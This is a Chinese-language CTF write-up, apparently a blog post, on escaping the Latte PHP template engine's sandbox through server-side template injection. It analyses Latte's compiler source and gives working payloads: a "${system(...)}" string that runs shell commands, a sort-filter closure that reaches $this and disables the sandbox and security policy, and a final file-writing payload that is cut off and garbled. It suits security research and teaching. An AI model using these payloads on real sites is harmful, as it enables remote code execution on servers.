Latte-SSTI-Payloads總結
TL;DR
最近西湖論劍有一道使用Latte的題目,當時我也是用的偷雞辦法做的,當時時間限制就沒有仔仔細細的去尋找逃逸的辦法。
直到賽后我發現逃逸的辦法很簡單
{="${system('nl /flag')}"}
這里使用的是php的基礎語法,我就不過多贅述了。這個復雜變量網上也有很多文章。
賽后我無聊的時候簡單看了下Latte,找了點后續的利用,比如獲取$this變量,還有任意代碼執行。然后發現網上關于這個引擎的文章很少,就來水一篇吧。
“${}” Bypass
我粗略的讀了下Latte,其實Latte確實是對$$和${}進行了檢測的
//PhpWriter.phppublic function sandboxPass(MacroTokens $tokens): MacroTokens{ ...... elseif ($tokens->isCurrent('$')) { // $$$var or ${...} throw new CompileException('Forbidden variable variables.');
} ...... else { // $obj->$$$var or $obj::$$$var $member = $tokens->nextAll($tokens::T_VARIABLE, '$'); $expr->tokens = $op === '::' && !$tokens->isNext('(') ? array_merge($expr->tokens, array_slice($member, 1)) : array_merge($expr->tokens, $member); } ......}
從給的注釋和報錯的異常也能看出來,這里通過前面的詞法,語法分析出來的token在檢測形容${},$$var這樣的結構。
如果你直接在模板里書寫${$xx}確實會報上面哪個異常
但是如果使用”${xxx}”,可能在前面詞法,語法分析就會認為這是個定義的字符串,根本不會進入這里的sandboxPass方法了
可以從一個盡量精簡的例子來看看后續的流程
//這是index.phprequire 'vendor/autoload.php';$latte = new Latte\Engine;$latte->setTempDirectory('tempdir');$policy = new Latte\Sandbox\SecurityPolicy;$policy->allowMacros(['block', 'if', 'else','=']);$policy->allowFilters($policy::ALL);$policy->allowFunctions(['trim', 'strlen']);$latte->setPolicy($policy);$latte->setSandboxMode();$latte->setAutoRefresh(true);
if(isset($_FILES['file'])){ $uploaddir = '/var/www/html/tempdir/'; $filename = basename($_FILES['file']['name']); if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){ die('no'); } $file_conents = file_get_contents($_FILES['file']['tmp_name']); if(strlen($file_conents)>28 or stristr($file_conents,'<')){ die('no'); } $uploadfile = $uploaddir . $filename;
if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) { $message = $filename ." was successfully uploaded."; } else { $message = "error!"; }
$params = [ 'message' => $message, ]; $latte->render('tempdir/index.latte', $params);}else if($_GET['source']==1){ highlight_file(__FILE__);}else{ $latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);}
/*這是index.latte*/ {="${eval('echo \'pwn!\';')}"}

調用棧張這樣,光從名字來看應該還是挺清晰的
主要看看buildClassBody方法
private function buildClassBody(array $tokens){...... $macroHandlers = new \SplObjectStorage;
if ($this->macros) { array_map([$macroHandlers, 'attach'], array_merge(...array_values($this->macros))); }
foreach ($macroHandlers as $handler) { $handler->initialize($this); }
foreach ($tokens as $this->position => $token) { if ($this->inHead && !( $token->type === $token::COMMENT || $token->type === $token::MACRO_TAG && ($this->flags[$token->name] ?? null) & Macro::ALLOWED_IN_HEAD || $token->type === $token::TEXT && trim($token->text) === '' )) { $this->inHead = false; } $this->{"process$token->type"}($token); }......
在上面哪個示范中,$this->{“process$token->type”}($token);當$token->type=MacroTag時,調用的就是$this->processMacroTag($token);
主要來看看這個MacroTag的處理過程,因為這個MacroTag就代表{="${eval('echo \'pwn!\';')}"}
private function processMacroTag(Token $token): void{......//對于這個標簽,因為情況比較簡單,直接就是來到這里 $node = $this->openMacro($token->name, $token->value, $token->modifiers, $isRightmost);......}
public function openMacro( string $name, string $args = '', string $modifiers = '', bool $isRightmost = false, string $nPrefix = null ): MacroNode { ...... $node = $this->expandMacro($name, $args, $modifiers, $nPrefix); ...... }
public function expandMacro(string $name, string $args, string $modifiers = '', string $nPrefix = null): MacroNode{ if (empty($this->macros[$name])){//先判斷是否存在這個macros ...... } $modifiers = (string) $modifiers;//獲取修飾符 ....... ....... foreach (array_reverse($this->macros[$name]) as $macro) { $node = new MacroNode($macro, $name, $args, $modifiers, $this->macroNode, $this->htmlNode, $nPrefix);//前面一堆蜜汁操作(因為調的時候前面很多分支沒進入,就不管了),終于開始建立這個節點 $node->context = $context; $node->startLine = $nPrefix ? $this->htmlNode->startLine : $this->getLine(); if ($macro->nodeOpened($node) !== false) { return $node; } }}
來到MacroSet的nodeOpened(這里是CoreMacros繼承的MacroSet方法)然后調用了MacroSet的compile方法,對于本例會來到CoreMacros的macroExpr,通過這個方法上面的注釋也能明白這里是在準備編譯表達式,在準備將表達式打印的語句編譯出來。
nodeOpened(MacroNode $node) -> compile(MacroNode $node, $def)->macroExpr(MacroNode $node, PhpWriter $writer)
然后來到PhpWriter的write方法
/** * Expands %node.word, %node.array, %node.args, %node.line, %escape(), %modify(), %var, %raw, %word in code. * @param mixed ...$args */ public function write(string $mask, ...$args): string ...... //這整個PhpWriter其實都在干一件事就是去生成一個類似于格式化字符串的結果 //對于本例,當格式化參數的時候,會一路調用到PhpWriter的sandboxPass方法
在PhpWriter的sandboxPass方法中,會根據目前他拿到的tokens來做判斷(雖然初始化PhpWriter的時候,傳給他的tokens屬性的變量叫tokenizer,實際上傳過去的是是當時哪個節點對于分詞器的一個包裝)
....elseif ($tokens->isCurrent('$')) { // $$$var or ${...} throw new CompileException('Forbidden variable variables.');....
可以看到這里如果使用$tokens->isCurrent(‘$’)自然而然獲取到的是"${eval(xxxxxx)}"并不是一個$的token。
所以就繞過了sandbox。
底層的原理也很簡單,其實就是Latte的解析并沒有與php一致。也就是說Latte認為這就是在輸出一個字符串而已,但是最后生成的php文件中,這確實是一個符合語法規則的復雜變量。
How to get $this
模板沙盒逃逸一般大家第一步都喜歡去尋找一些內置變量一類,看看有沒有什么操作的空間。但是Latte我粗略的看了下官方文檔,好像沒有內置變量。直接使用$this會直接被ban。
這里我當時看到了一個過濾器sort
You can pass your own comparison function as a parameter:{var $sorted = ($names|sort: fn($a, $b) => $b <=> $a)}//這是官方的例子
這樣的東西看起來就很危險,而且最后是會編譯成php文件的,所以我猜測自定義匿名函數的代碼片段最后生成到php文件時不會產生太大的變化。我當時試了試在匿名函數里面定義一個沒用的變量。在最后編譯生成的php文件里,我也確實看到了我定義的變量。所以我就覺得這個地方是有操作空間的。
如果你直接準備再這里進行函數調用會被直接攔下來的,靜態調用過不了編譯。動態調用因為上文提到的sandboxPass方法,會進行以下轉換比如
trim("phpinfo\t")(); => $this->call(trim("phpinfo\t"))();
其中$this變量是一個Latte\Runtime\Template的對象,他的這個call其實就是在檢測白名單,并且適配了php的幾種動態調用的形式,比如數組之類的。
我水平有限也無法規避Latte對動態調用這樣的轉換。(可能可以使用類似mxss的思路去規避?)
所以我就還是準備使用”${}”看看能否獲得$this變量
{=["this","siebene"]|sort: function ($a,$b) {
"${is_string(${$a}->getEngine()->setSandboxMode(false))}"; "${is_string(${$a}->getEngine()->setPolicy(null))}";
}}</li> /* 這里有個小細節就是為了避免對象轉為字符串報致命錯誤提前中斷,我使用了`is_string`來將對象間接轉成可以接受的形式。 */
發現還是挺簡單的,我就拿到了$this變量,并且關閉了沙盒還有清空了策略。
Another RCE Payloads
有興趣看的話,感覺payload應該還是會有挺多的
{=["this","siebene"]|sort: function ($a,$b) { "${is_string(${$a}->call(function (){ file_put_contents('sie.php','; }}</li>